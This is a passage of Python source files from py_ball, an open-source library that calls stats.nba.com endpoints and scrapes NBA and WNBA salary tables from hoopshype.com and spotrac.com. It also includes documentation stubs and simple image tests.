py_ball.leaderboard.LeaderBoard\n\nLeague class\n============\n(additional documentation `here <https://github.com/basketballrelativity/py_ball/wiki/League>`_)\n\n.. autoclass:: py_ball.league.League\n\nLeagueDash class\n================\n(additional documentation `here <https://github.com/basketballrelativity/py_ball/wiki/LeagueDash>`_)\n\n.. autoclass:: py_ball.league_dash.LeagueDash\n\nPlayByPlay class\n================\n(additional documentation `here <https://github.com/basketballrelativity/py_ball/wiki/PlayByPlay>`_)\n\n.. autoclass:: py_ball.playbyplay.PlayByPlay\n\nPlayer class\n============\n(additional documentation `here <https://github.com/basketballrelativity/py_ball/wiki/Player>`_)\n\n.. autoclass:: py_ball.player.Player\n\nScoreBoard class\n================\n(additional documentation `here <https://github.com/basketballrelativity/py_ball/wiki/ScoreBoard>`_)\n\n.. autoclass:: py_ball.scoreboard.ScoreBoard\n\nTeam class\n==========\n(additional documentation `here <https://github.com/basketballrelativity/py_ball/wiki/Team>`_)\n\n.. autoclass:: py_ball.team.Team" }, { "alpha_fraction": 0.6087510585784912, "alphanum_fraction": 0.6406117081642151, "avg_line_length": 41.79999923706055, "blob_id": "a51f05a6b9c0318e156269bf6d85415e916e72e4", "content_id": "cc92f3bbc885f0151fca2d77c41f870b41bfff20", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2354, "license_type": "permissive", "max_line_length": 84, "num_lines": 55, "path": "/py_ball/wnba_shots.py", "repo_name": "basketballrelativity/py_ball", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed May 22 19:00:44 2019\n\n@author: patrickmcfarlane\n\nwnba_shots.py contains the Shots class that\nenables API calls for WNBA shot-related\ndata\n\"\"\"\n\nfrom .utils import wnba_shot_call, get_season_year\n\nclass Shots:\n \"\"\" The Shots class contains all resources needed\n to use the shot-related WNBA data. `data.wnba.com <https://data.wnba.com>`_\n has the following endpoints:\n\n - **pbp**: Shot-related data, including location, player \\\n and associated metadata.\n\n The Shots class has the following required parameters:\n\n @param **headers** (*dict*): Dictionary of request header information\n required by the API. Specifically, the API requires you to declare\n the 'User-Agent' key of the request header dictionary. More information\n can be found `here <https://stackoverflow.com/questions/46781563/\n how-to-obtain-a-json-response-from-the-stats-nba-com-api>`_ and\n an example request header dictionary can be found in the __init__.py\n file in the tests folder of this module.\n\n @param **season** (*str*): Season in the API. String of a one-year \\\n season in a YYYY format. For example, '2017' is a valid \\\n value of **season** and represents the 2017 WNBA season.\n\n @param **game_id** (*str*): GameID in the API. 10-digit string \\\n that represents a unique game. The format is two leading digits \\\n ('10'), followed by a season indicator number ('1' for preseason, \\\n '2' for regular season, '4' for the post-season), \\\n then the trailing digits of the season in which the game \\\n took place (e.g. '17' for the 2017 season). The following \\\n 5 digits increment from '00001' in order as the season progresses. \\\n For example, '1021600001' is the **game_id** of the first game \\\n of the 2016 WNBA regular season.\n\n Attributes:\n\n **data** (*dict*): A list of dictionaries containing a play. Each list\n contains play-by-play data for one game.\n \"\"\"\n def __init__(self, headers, season=get_season_year(\"10\"), game_id='1021800050'):\n\n params = {'season': season, 'game_id': game_id}\n self.data = wnba_shot_call(params=params, headers=headers)\n" }, { "alpha_fraction": 0.5455508232116699, "alphanum_fraction": 0.5668432116508484, "avg_line_length": 35.45173645019531, "blob_id": "2cf0b22d2696314a95e256fb05b9bc44c61f313b", "content_id": "a2b4a05e05675e7a0aaa9ab6c4077268a9d80b3d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9440, "license_type": "permissive", "max_line_length": 81, "num_lines": 259, "path": "/py_ball/wnba_salaries.py", "repo_name": "basketballrelativity/py_ball", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Feb 23 13:02:05 2020\n\n@author: patrickmcfarlane\n\nwnba_salaries.py contains the functions\nto gather NBA salary information\n\"\"\"\n\nfrom requests import get\n\nSALARY_URL = \"https://www.spotrac.com/wnba/cap/\"\n\nURL_TO_ID_WNBA = {'https://www.spotrac.com/redirect/team/347/cap/': '1611661324',\n 'https://www.spotrac.com/redirect/team/345/cap/': '1611661319',\n 'https://www.spotrac.com/redirect/team/348/cap/': '1611661313',\n 'https://www.spotrac.com/redirect/team/341/cap/': '1611661329',\n 'https://www.spotrac.com/redirect/team/346/cap/': '1611661320',\n 'https://www.spotrac.com/redirect/team/344/cap/': '1611661325',\n 'https://www.spotrac.com/redirect/team/340/cap/': '1611661330',\n 'https://www.spotrac.com/redirect/team/342/cap/': '1611661323',\n 'https://www.spotrac.com/redirect/team/349/cap/': '1611661317',\n 'https://www.spotrac.com/redirect/team/351/cap/': '1611661322',\n 'https://www.spotrac.com/redirect/team/350/cap/': '1611661328',\n 'https://www.spotrac.com/redirect/team/343/cap/': '1611661321'}\n\n\ndef team_salary_values(html_text, season):\n \"\"\" team_salary_values returns a dictionary of\n salary information keyed by NBA team ID\n\n @param **html_text** (*str*): String of the HTML response\n from SALARY_URL\n @param **season** (*int*): Integer of season in YYYY\n format\n\n Returns:\n\n **team_salaries** (*dict*): Dictionary keyed by NBA\n team ID with a list of yearly salaries (followed\n by team salary URL) as values\n \"\"\"\n value_str = '<td '\n team_salaries = {}\n wnba_teams = 12\n\n for teams in range(0, wnba_teams):\n team_list = []\n start_ind = html_text.find('<a')\n end_ind = html_text.find('</a>')\n team_key = html_text[start_ind + 2: end_ind]\n team_key = team_key[team_key.find('href=\"') + 6:team_key.find('\">')]\n team_key = team_key.replace('-' + str(season), '')\n for col_count in range(0, 8):\n end_ind = html_text.find('\">')\n html_text = html_text[end_ind + 2: ]\n end_ind = html_text.find('</td>')\n val = html_text[:end_ind]\n if '</a>' in val:\n val = val.replace('</a>', '')\n if \"<span style='display:none'>\" in val:\n val = val.replace(\"<span style='display:none'>\", '')\n end_val = val.find('</span>')\n val = val[ :end_val]\n team_list.append(val)\n html_text = html_text[end_ind + 5:]\n start_ind = html_text.find(value_str) + len(value_str)\n html_text = html_text[start_ind: ]\n\n team_list.append(team_key.replace('cap', 'cap-' + str(season)))\n team_salaries[URL_TO_ID_WNBA[team_key]] = team_list\n\n return team_salaries\n\n\ndef player_salary_values(html_text):\n \"\"\" player_salary_values returns a dictionary of\n salary information keyed by Hoopshype player ID\n\n @param **html_text** (*str*): String of the HTML response\n from a Hoopshype team URL\n\n Returns:\n\n **player_salaries** (*dict*): Dictionary keyed by SpotRac\n player ID with a list of yearly salaries (followed\n by player salary URL) as values\n \"\"\"\n value_str = '<span'\n player_salaries = {}\n url_val = html_text.find('<a')\n total_val = html_text.find('<td class=\"player\">Active Roster Cap</td>')\n\n while url_val < total_val:\n player_list = []\n option_list = []\n start_ind = html_text.find('<a')\n end_ind = html_text.find('</a>')\n play_key = html_text[start_ind + 2: end_ind]\n play_key = play_key[play_key.find('href=\"') + 6:play_key.find('\">')]\n player_key = play_key.split('/')[-2]\n #html_text = html_text[end_ind + 4:]\n for col_count in range(0, 9):\n if col_count < 6:\n start_ind = html_text.find(value_str) + len(value_str)\n html_text = html_text[start_ind:]\n start_ind = html_text.find('\">') + 2\n end_ind = html_text.find('</span>')\n end_len = 7\n elif col_count == 6:\n start_ind = html_text.find(\"<td\") + 3\n html_text = html_text[start_ind:]\n start_ind = html_text.find('\">') + 2\n if 'option-' in html_text[:start_ind]:\n option_start = html_text.find('option-') + 7\n option_end = html_text.find(' \"')\n option_list.append(html_text[option_start:option_end])\n end_ind = html_text.find('<input')\n end_len = 6\n elif col_count == 7:\n start_ind = html_text.find(value_str) + len(value_str)\n html_text = html_text[start_ind:]\n start_ind = html_text.find('\" >') + 3\n end_ind = html_text.find(' </span>')\n end_len = 8\n else:\n start_ind = html_text.find(\"<td\") + 3\n html_text = html_text[start_ind:]\n start_ind = html_text.find('\" >') + 3\n end_ind = html_text.find('</td>')\n end_len = 5\n try:\n salary_value = html_text[start_ind:end_ind]\n except:\n salary_value = 0\n player_list.append(salary_value)\n html_text = html_text[end_ind + end_len:]\n\n player_list.append(play_key)\n player_salaries[player_key] = {}\n player_salaries[player_key]['salary'] = player_list\n player_salaries[player_key]['options'] = option_list\n\n total_val = html_text.find('<td class=\"player\">Active Roster Cap</td>')\n url_val = html_text.find('<a')\n\n return player_salaries\n\n\ndef get_team_salary(season):\n \"\"\" This function pulls team salary information\n from `spotrac.com <https://www.spotrac.com/wnba/cap/>`\n\n @param **season** (*int*): Integer of season in YYYY\n format\n\n Returns:\n\n **team_salaries** (*dict*): Dictionary keyed by WNBA\n team ID with a list of yearly salaries (followed\n by team salary URL) as values\n\n **column_list** (*list*): List of column names for team\n salary information\n \"\"\"\n\n api_resp = get(SALARY_URL + str(season))\n html_text = api_resp.text\n sorted_str = 'The total cap $ for a team\">Total Cap'\n table_index = html_text.find(sorted_str)\n html_text = html_text[table_index:]\n\n sorted_str = '<td class=\"center\">'\n table_index = html_text.find(sorted_str)\n html_text = html_text[table_index:]\n\n column_list = ['Rank', 'Team', 'Signed', 'Average Age',\n 'Active Cap', 'Dead Cap', 'Total Cap',\n 'Cap Space', 'URL']\n\n team_salaries = team_salary_values(html_text, season)\n\n return team_salaries, column_list\n\n\ndef get_player_salary(team_url):\n \"\"\" This function pulls player salary information\n from `spotrac.com <https://www.spotrac.com/wnba/cap/>``\n\n @param team_url (str): String of URL corresponding\n to a single team's salary\n\n Returns:\n\n **player_salaries** (*dict*): Dictionary keyed by Spotrac\n player ID with a list of yearly salaries as values\n\n **column_list** (*list*): List of column names for team\n salary information\n \"\"\"\n\n api_resp = get(team_url)\n html_text = api_resp.text\n sorted_str = '<td class=\"player\">'\n \n table_index = html_text.find(sorted_str)\n html_text = html_text[table_index:]\n column_list = ['Player', 'Age', 'Position',\n 'YOE', 'Signed Using', 'Base Salary',\n 'Dead Cap', 'Cap Figure', 'Cap %', 'URL']\n\n player_salaries = player_salary_values(html_text)\n\n return player_salaries, column_list\n\n\nclass TeamSalaries:\n \"\"\" The TeamSalaries class contains all resources needed\n to scrape team salary information from\n `spotrac.com <https://www.spotrac.com/wnba/cap/>`.\n This class contains both team total salary as well as individual\n player breakdowns\n\n @param **season** (*int*): Integer of season in YYYY\n format\n\n Attributes:\n\n **totals** (*dict*): Dictionary keyed by WNBA\n team ID with a list of yearly salaries (followed\n by team salary URL) as values\n\n **totals_columns** (*list*): List of column names for team\n salary information\n\n **team_player_salaries** (*dict*): Dictionary keyed by both WNBA\n team ID and Hoopshype player ID with values containing both\n salary and option information\n\n **team_player_columns** (*list*): List of column names for team-player\n salary information\n \"\"\"\n\n def __init__(self, season):\n\n # First, total team salary information is pulled\n team_salaries, column_list = get_team_salary(season)\n self.totals = team_salaries\n self.totals_columns = column_list\n team_player_salary = {}\n for team_id in team_salaries:\n team_url = team_salaries[team_id][-1]\n player_salaries, column_list = get_player_salary(team_url)\n team_player_salary[team_id] = player_salaries\n\n self.team_player_salaries = team_player_salary\n self.team_player_columns = column_list" }, { "alpha_fraction": 0.5549826622009277, "alphanum_fraction": 0.5654004216194153, "avg_line_length": 44.45933151245117, "blob_id": "be544600e3344990fbcc9d620565b7403aa07d60", "content_id": "db064c268c65b9b8f8d2550357eea7ebdddb6a5d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9503, "license_type": "permissive", "max_line_length": 84, "num_lines": 209, "path": "/py_ball/league.py", "repo_name": "basketballrelativity/py_ball", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Oct 10 19:59:39 2018\n\n@author: patrickmcfarlane\n\nleague.py contains the League class that\nenables API calls for general league related endpoints\n\"\"\"\n\nfrom .utils import api_call, parse_api_call, get_season_year\n\nclass League:\n \"\"\" The League class contains all resources needed to use the league-\n related API calls. `stats.nba.com <https://stats.nba.com>`_\n has the following league-related API endpoints:\n\n - **commonallplayers**: Current roster information if the \\\n **current_season** flag is '1', historical player information \\\n if the **current_season** flag is '0'.\n - **commonteamyears**: Start and end dates for teams in league \\\n history.\n - **commonplayoffseries**: Playoff series matchup breakdown by game.\n - **franchisehistory**: Current and defunct franchise histories, \\\n including performance and franchise metadata.\n - **playoffpicture**: Current state of the playoff picture by \\\n conference.\n - **playerindex**: Historical player metadata for all players \\\n in league history\n - **alltimeleadersgrids**: All time leaders across various \\\n metrics\n - **leaguegamelog**: Game logs for players or teams across the \\\n league\n\n The League class has the following required parameters:\n\n @param **headers** (*dict*): Dictionary of request header information\n required by the API. Specifically, the API requires you to declare\n the 'User-Agent' key of the request header dictionary. More information\n can be found `here <https://stackoverflow.com/questions/46781563/\n how-to-obtain-a-json-response-from-the-stats-nba-com-api>`_ and\n an example request header dictionary can be found in the __init__.py\n file in the tests folder of this module.\n\n @param **league_id** (*str*): LeagueID in the API. String of a \\\n two-digit number corresponding to the league. '00' is the NBA, \\\n '10' is the WNBA, '01' is the ABA, and '20' is the G-League.\n\n @param **season** (*str*): Season in the API. String of a two-year\n season in a YYYY-ZZ format, where the ZZ are the last two \\\n digits of the following year. For example, '2017-18' is a valid \\\n value of **season** and represents the 2017-18 NBA season. \\\n **season** is required by the 'commonallplayers' and \\\n 'commonplayoffseries' endpoints.\n\n @param **season_id** (*str*): SeasonID in the API. String of a year \\\n season in a XYYYY format. X indicates the season type \\\n ('1' for preseason, '2' for regular season, '4' for the playoffs). \\\n For example, '22017' is a valid \\\n value of **season_id** and represents the 2017-18 NBA regular\n season. **season_id** is required by the 'playoffpicture' \\\n endpoint.\n\n @param **current_season** (*str*): IsOnlyCurrentSeason in the API. \\\n Boolean value ('1' or '0') indicating whether only the current \\\n season should be returned ('1'). A value of '0' returns all \\\n players in league history. **current_season** is required by the \\\n 'commonallplayers' endpoint.\n\n @param **college** (*str*): College in the API. String of the college \\\n desired. \"Kansas\" is an example\n\n @param **country** (*str*): Country in the API. String of the country \\\n desired. \"Cameroon\" is an example\n\n @param **draft_pick** (*str*): DraftPick in the API. String of the overall \\\n draft pick number\n\n @param **draft_round** (*str*): DraftRound in the API. String of the \\\n draft round number\n\n @param **draft_year** (*str*): DraftYear in the API. String of the \\\n draft year in YYYY format\n\n @param **height** (*str*): Height in the API. Height in Feet-Inches \\\n format\n\n @param **weight** (*str*): Weight in the API. Weight in pounds\n\n @param **historical** (*str*): Historical in the API. Unclear what \\\n this corresponds to, but it takes boolean values. Hardcoded to 1 \\\n as a default\n\n @param **season_type** (*str*): SeasonType in the API. String \\\n indicating the type of season for data to be returned. \\\n Valid values include:\n\n - 'Regular Season', 'Pre Season', 'Playoffs', 'All Star'\n\n @param **team_id** (*str*): TeamID in the API. String of a 10-digit \\\n integer that uniquely identifies a team for which data is to \\\n be returned.\n\n @param **per_mode** (*str*): PerMode in the API. String indicating \\\n the type of rate stats to be returned. Valid values include:\n\n - 'Totals', 'PerGame', 'MinutesPer', 'Per48', 'Per40', \\\n 'Per36', 'PerMinute', 'PerPossession', 'PerPlay', \\\n 'Per100Possessions', 'Per100Plays'\n\n @param **top_x** (*str*): TopX in the API. String of the number \\\n of top players to return\n\n @param **counter** (*str*): Counter in the API. String of the \\\n number of records to return. Defaults to 1000\n\n @param **date_from** (*str*): DateFrom in the API. String of a date \\\n in a MM/DD/YYYY format indicating the start date for which \\\n data is to be returned.\n\n @param **date_to** (*str*): DateTo in the API. String of a date \\\n in a MM/DD/YYYY format indicating the end date for which \\\n data is to be returned.\n\n @param **direction** (*str*): Direction in the API. String of \\\n ASC or DESC corresponding to how the returned data should be sorted\n\n @param **player_or_team** (*str*): PlayerOrTeam in the API. String \\\n indicating whether data returned is for 'P' or 'T' \\\n leaders.\n\n @param **sorter** (*str*): Sorter in the API. String of the field \\\n to sort the returned data\n\n Attributes:\n\n **api_resp** (*dict*): JSON object of the API response. The API \\\n response has three keys. The 'resource' key describes the type of \\\n response returned (the endpoint in this instance). The 'parameters' \\\n key describes the parameters provided in the API call. The \\\n 'resultSets' key contains the data returned in the API call.\n\n **data** (*dict*): A dictionary of response names. Each response \\\n name is a key to a list of dictionaries containing the \\\n corresponding data.\n \"\"\"\n\n def __init__(self, headers, endpoint='commonallplayers',\n league_id='00', season=get_season_year(\"00\"),\n season_id='22017', current_season='1',\n college='', country='', draft_pick='',\n draft_round='', draft_year='', height='',\n weight='', historical='1',\n season_type='Regular Season', team_id='0',\n per_mode='Totals', top_x='10', counter='1000',\n date_from='', date_to='', direction='DESC',\n player_or_team='P', sorter='DATE'):\n\n # Controlling the parameters depending on the endpoint\n if endpoint in ['commonteamyears', 'franchisehistory']:\n params = {'LeagueID': league_id}\n elif endpoint in ['commonplayoffseries']:\n params = {'LeagueID': league_id,\n 'Season': season}\n elif endpoint in ['playoffpicture']:\n params = {'LeagueID': league_id,\n 'SeasonID': season_id}\n elif endpoint == \"playerindex\":\n params = {'LeagueID': league_id,\n 'Season': season,\n 'College': college,\n 'Country': country,\n 'DraftPick': draft_pick,\n 'DraftRound': draft_round,\n 'DraftYear': draft_year,\n 'Height': height,\n 'Weight': weight,\n 'Historical': historical,\n 'SeasonType': season_type,\n 'TeamID': team_id}\n elif endpoint == 'alltimeleadersgrids':\n params = {'LeagueID': league_id,\n 'SeasonType': season_type,\n 'PerMode': per_mode,\n 'TopX': top_x}\n elif endpoint == \"leaguegamelog\":\n params = {'LeagueID': league_id,\n 'Season': season,\n 'SeasonType': season_type,\n 'Counter': counter,\n 'DateFrom': date_from,\n 'DateTo': date_to,\n 'Direction': direction,\n 'PlayerOrTeam': player_or_team,\n 'Sorter': sorter}\n else:\n params = {'LeagueID': league_id,\n 'Season': season,\n 'IsOnlyCurrentSeason': current_season}\n\n self.api_resp = api_call(endpoint=endpoint,\n params=params,\n headers=headers)\n\n # Storing the API response in a dictionary called data\n # The results can come in different formats, namely a\n # dictionary keyed by either resultSets or resultSet\n self.data = parse_api_call(self.api_resp)\n\n\n" }, { "alpha_fraction": 0.5683760643005371, "alphanum_fraction": 0.6239316463470459, "avg_line_length": 14.600000381469727, "blob_id": "5966595d8ed2fd50c7177f1ad56a23ef96c173e4", "content_id": "047242182a64f56778bccc2717c372a58affee0b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 234, "license_type": "permissive", "max_line_length": 43, "num_lines": 15, "path": "/py_ball/__init__.py", "repo_name": "basketballrelativity/py_ball", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Oct 8 11:26:44 2018\n\n@author: patrickmcfarlane\n\n__init__.py\n\nThis script initializes the py_ball package\n\"\"\"\n\nname = 'py_ball'\n\n__all__ = ['league', 'image', 'utils']\n" }, { "alpha_fraction": 0.554652214050293, "alphanum_fraction": 0.5980126261711121, "avg_line_length": 26.674999237060547, "blob_id": "55b0c7d43de064d8322dcf53b18e2c0d64cc26f4", "content_id": "08896b30d1c87909a57c12dfd1bad79bbba75b77", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1107, "license_type": "permissive", "max_line_length": 79, "num_lines": 40, "path": "/py_ball/tests/test_image.py", "repo_name": "basketballrelativity/py_ball", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Dec 22 12:46:48 2018\n\n@author: patrickmcfarlane\n\ntest_image.py\n\nThis function contains the tests for\nfunctions in the image.py file\n\"\"\"\n\nimport PIL\nfrom ..image import Headshot, Logo\n\ndef test_headshot():\n \"\"\" tests the Headshot class\n \"\"\"\n\n example_wnba_headshot = Headshot()\n example_nba_headshot = Headshot(league='NBA',\n player_id='2544',\n team_id='1610612747',\n season='2018')\n\n assert type(example_wnba_headshot.image) == PIL.PngImagePlugin.PngImageFile\n assert type(example_nba_headshot.image) == PIL.PngImagePlugin.PngImageFile\n\ndef test_logo():\n \"\"\" tests the Logo class\n \"\"\"\n\n example_wnba_logo = Logo()\n example_nba_logo = Logo(league='NBA',\n team_id='1610612755',\n season_year='2018-19')\n\n assert type(example_wnba_logo.image) == PIL.PngImagePlugin.PngImageFile\n assert type(example_nba_logo.image) == PIL.PngImagePlugin.PngImageFile\n" }, { "alpha_fraction": 0.5851445198059082, "alphanum_fraction": 0.597383439540863, "avg_line_length": 43.280372619628906, "blob_id": "23dd0e13ab7c203c410e842355132b68e0e03ff0", "content_id": "443464ca6264bc84d033253ea1bbd4c6f0044f29", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4739, "license_type": "permissive", "max_line_length": 85, "num_lines": 107, "path": "/py_ball/synergy.py", "repo_name": "basketballrelativity/py_ball", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Oct 22 19:59:39 2019\n\n@author: patrickmcfarlane\n\nsynergy.py contains the Synergy class that\nenables API calls for synergy-related endpoints\n\"\"\"\n\nfrom .utils import api_call, parse_api_call, get_season_year\n\nclass Synergy:\n \"\"\" The Synergy class contains all resources needed to use the synergy-\n related API calls. `stats.nba.com <https://stats.nba.com>`_\n has the following league-related API endpoints:\n\n - **synergyplaytypes**: Season Synergy play type stats by\n player or team\n\n The Synergy class has the following required parameters:\n\n @param **headers** (*dict*): Dictionary of request header information\n required by the API. Specifically, the API requires you to declare\n the 'User-Agent' key of the request header dictionary. More information\n can be found `here <https://stackoverflow.com/questions/46781563/\n how-to-obtain-a-json-response-from-the-stats-nba-com-api>`_ and\n an example request header dictionary can be found in the __init__.py\n file in the tests folder of this module.\n\n @param **league_id** (*str*): LeagueID in the API. String of a \\\n two-digit number corresponding to the league. '00' is the NBA, \\\n '10' is the WNBA, '01' is the ABA, and '20' is the G-League. \\\n Note that Synergy statistics are only available for the NBA\n\n @param **season_year** (*str*): SeasonYear in the API. String of a two-year \\\n season in a YYYY-ZZ format, where the ZZ are the last two \\\n digits of the following year. For example, '2017-18' is a valid \\\n value of **season_year** and represents the 2017-18 NBA season.\n\n @param **season_type** (*str*): SeasonType in the API. String \\\n indicating the type of season for data to be returned. \\\n Valid values include:\n\n - 'Regular Season', 'Pre Season', 'Playoffs', 'All Star'\n\n @param **per_mode** (*str*): PerMode in the API. String indicating \\\n the type of rate stats to be returned. Valid values include:\n\n - 'Totals', 'PerGame', 'MinutesPer', 'Per48', 'Per40', \\\n 'Per36', 'PerMinute', 'PerPossession', 'PerPlay', \\\n 'Per100Possessions', 'Per100Plays'\n\n @param **player_or_team** (*str*): PlayerOrTeam in the API. String \\\n indicating whether to return data for players ('P') or teams \\\n ('T')\n\n @param **play_type** (*str*): PlayType in the API. String \\\n indicating the type of play as defined by Synergy. Valid \\\n values include:\n\n - 'Cut', 'Handoff', 'Isolation', 'Misc', 'OffScreen', \\\n 'Postup', 'PRBallHandler', 'PRRollman', 'OffRebound', \\\n 'Spotup', 'Transition'\n\n @param **type_grouping** (*str*): TypeGrouping in the API. String \\\n indicating the side of the ball for the statistics to be returned. \\\n One of 'offensive' or 'defensive'\n\n Attributes:\n\n **api_resp** (*dict*): JSON object of the API response. The API \\\n response has three keys. The 'resource' key describes the type of \\\n response returned (the endpoint in this instance). The 'parameters' \\\n key describes the parameters provided in the API call. The \\\n 'resultSets' key contains the data returned in the API call.\n\n **data** (*dict*): A dictionary of response names. Each response \\\n name is a key to a list of dictionaries containing the \\\n corresponding data.\n\n \"\"\"\n\n def __init__(self, headers, endpoint='synergyplaytypes',\n league_id='00', season_year=get_season_year(\"00\"),\n season_type='Regular Season', per_mode='PerGame',\n player_or_team='P', play_type='Cut',\n type_grouping='offensive'):\n\n # Controlling the parameters depending on the endpoint\n params = {'LeagueID': league_id,\n 'SeasonYear': season_year,\n 'SeasonType': season_type,\n 'PerMode': per_mode,\n 'PlayerOrTeam': player_or_team,\n 'PlayType': play_type,\n 'TypeGrouping': type_grouping}\n\n self.api_resp = api_call(endpoint=endpoint,\n params=params,\n headers=headers)\n\n # Storing the API response in a dictionary called data\n # The results can come in different formats, namely a\n # dictionary keyed by either resultSets or resultSet\n self.data = parse_api_call(self.api_resp)\n\n" }, { "alpha_fraction": 0.5819838047027588, "alphanum_fraction": 0.6042004227638245, "avg_line_length": 34.92727279663086, "blob_id": "2384402bb2253736169cb4ee910c4dcdbcb0a0b2", "content_id": "6e416a611b37fd19fb7925c922113781e15d96df", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 19760, "license_type": "permissive", "max_line_length": 89, "num_lines": 550, "path": "/py_ball/salaries.py", "repo_name": "basketballrelativity/py_ball", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jun 9 11:02:05 2019\n\n@author: patrickmcfarlane\n\nsalaries.py contains the functions\nto gather NBA salary information\n\"\"\"\n\nfrom requests import get\n\nSALARY_URL = \"https://hoopshype.com/salaries/\"\n\nURL_TO_ID_NBA = {'https://hoopshype.com/salaries/toronto_raptors/': '1610612761',\n 'https://hoopshype.com/salaries/denver_nuggets/': '1610612743',\n 'https://hoopshype.com/salaries/detroit_pistons/': '1610612765',\n 'https://hoopshype.com/salaries/new_orleans_pelicans/': '1610612740',\n 'https://hoopshype.com/salaries/milwaukee_bucks/': '1610612749',\n 'https://hoopshype.com/salaries/golden_state_warriors/': '1610612744',\n 'https://hoopshype.com/salaries/san_antonio_spurs/': '1610612759',\n 'https://hoopshype.com/salaries/portland_trail_blazers/': '1610612757',\n 'https://hoopshype.com/salaries/los_angeles_clippers/': '1610612746',\n 'https://hoopshype.com/salaries/dallas_mavericks/': '1610612742',\n 'https://hoopshype.com/salaries/memphis_grizzlies/': '1610612763',\n 'https://hoopshype.com/salaries/philadelphia_76ers/': '1610612755',\n 'https://hoopshype.com/salaries/boston_celtics/': '1610612738',\n 'https://hoopshype.com/salaries/minnesota_timberwolves/': '1610612750',\n 'https://hoopshype.com/salaries/charlotte_hornets/': '1610612766',\n 'https://hoopshype.com/salaries/indiana_pacers/': '1610612754',\n 'https://hoopshype.com/salaries/orlando_magic/': '1610612753',\n 'https://hoopshype.com/salaries/miami_heat/': '1610612748',\n 'https://hoopshype.com/salaries/houston_rockets/': '1610612745',\n 'https://hoopshype.com/salaries/sacramento_kings/': '1610612758',\n 'https://hoopshype.com/salaries/utah_jazz/': '1610612762',\n 'https://hoopshype.com/salaries/brooklyn_nets/': '1610612751',\n 'https://hoopshype.com/salaries/atlanta_hawks/': '1610612737',\n 'https://hoopshype.com/salaries/phoenix_suns/': '1610612756',\n 'https://hoopshype.com/salaries/washington_wizards/': '1610612764',\n 'https://hoopshype.com/salaries/new_york_knicks/': '1610612752',\n 'https://hoopshype.com/salaries/oklahoma_city_thunder/': '1610612760',\n 'https://hoopshype.com/salaries/los_angeles_lakers/': '1610612747',\n 'https://hoopshype.com/salaries/cleveland_cavaliers/': '1610612739',\n 'https://hoopshype.com/salaries/chicago_bulls/': '1610612741'}\n\n\ndef salary_columns(html_text, context='current'):\n \"\"\" salary_columns returns the column names\n for the salary information\n\n @param **html_text** (*str*): String of the HTML response\n from SALARY_URL\n\n @param **context** (*str*): 'current' signifies that current\n and future salaries are being pulled. Otherwise, historical\n values are returned\n\n Returns:\n\n **html_text** (*str*): Truncated string of the HTML\n response from a Hoopshype URL with the column information\n removed\n\n **column_list** (*list*): List of column names for\n salary information\n \"\"\"\n if context == 'current':\n col_count = 6\n else:\n col_count = 2\n\n column_list = []\n for col_count in range(0, col_count):\n start_ind = html_text.find('>') + 1\n end_ind = html_text.find('</td>')\n column_list.append(html_text[start_ind:end_ind])\n html_text = html_text[end_ind + 5:]\n\n return html_text, column_list\n\n\ndef get_option(option):\n \"\"\" get_option returns the type of option (if any) applied\n to that year's salary\n\n @param **option** (*str*): Sting of color indicators that\n correspond to yearly options.\n\n Returns:\n \n **option** (*list*): One of '', 'Team',\n 'Qualifying', 'Two-Way', 'Player'\n \"\"\"\n\n if option == 'color:black':\n option = ''\n elif option == 'color:rgb(255, 0, 0)':\n option = 'Team'\n elif option == 'color:rgb(0, 153, 0)':\n option = 'Qualifying'\n elif option == 'color:rgb(168, 0, 212)':\n option = 'Two-Way'\n elif option == 'color:rgb(4, 134, 176)':\n option = 'Player'\n else:\n option = ''\n\n return option\n\n\ndef team_salary_values(html_text):\n \"\"\" team_salary_values returns a dictionary of\n salary information keyed by NBA team ID\n\n @param **html_text** (*str*): String of the HTML response\n from SALARY_URL\n\n Returns:\n\n **team_salaries** (*dict*): Dictionary keyed by NBA\n team ID with a list of yearly salaries (followed\n by team salary URL) as values\n \"\"\"\n value_str = 'data-value=\"'\n team_salaries = {}\n nba_teams = 30\n\n for teams in range(0, nba_teams):\n team_list = []\n start_ind = html_text.find('<a')\n end_ind = html_text.find('</a>')\n team_key = html_text[start_ind + 2: end_ind]\n team_key = team_key[team_key.find('href=\"') + 6:team_key.find('\">\\n')]\n html_text = html_text[end_ind + 4:]\n for col_count in range(0, 6):\n start_ind = html_text.find(value_str) + len(value_str)\n end_ind = html_text.find('\">')\n team_list.append(int(html_text[start_ind:end_ind]))\n html_text = html_text[end_ind + 2:]\n team_list.append(team_key)\n team_salaries[URL_TO_ID_NBA[team_key]] = team_list\n\n return team_salaries\n\n\ndef team_player_salary_values(html_text):\n \"\"\" team_player_salary_values returns a dictionary of\n salary information keyed by Hoopshype player ID\n\n @param **html_text** (*str*): String of the HTML response\n from a Hoopshype team URL\n\n Returns:\n\n **player_salaries** (*dict*): Dictionary keyed by Hoopshype\n player ID with a list of yearly salaries (followed\n by player salary URL) as values\n \"\"\"\n value_str = 'data-value=\"'\n option_str = 'style=\"'\n player_salaries = {}\n url_val = 